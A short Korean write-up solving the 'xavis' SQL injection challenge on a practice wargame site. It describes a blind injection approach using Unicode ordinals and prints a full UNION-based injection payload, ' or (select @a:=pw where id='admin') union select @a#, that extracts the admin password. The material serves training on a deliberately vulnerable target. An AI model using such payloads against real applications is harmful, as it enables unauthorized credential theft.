xavis
Last updated
Last updated
첫 화면이다.
아래와 같이 쿼리를 보내 문자 하나의 길이가 4 임을 알 수 있다.
이를 참고해 파이썬 코드를 짜면 아래와 같다.
ascii()
대신 ord()
를 사용했고, character
의 범위가 range(0, 128)
이 아닌 range(0, 65536)
이다.
실행결과, pw는 우왕굳
이다.
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=우왕굳 에 접속하면 문제가 풀린다.
또 다른 풀이가 있다.
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20or%20(select%20@a:=pw%20where%20id=%27admin%27)%20union%20select%20@a%23 에 접속하면 아래와 같이 pw를 바로 볼 수 있다.
pw에 ' or (select @a:=pw where id='admin') union select @a#
을 넣은 셈이다.
select @a:=pw where id='admin'
이라는 쿼리 자체는 false를 반환하므로 뒤에 union
을 사용해 @a
값을 가져오도록 하였다.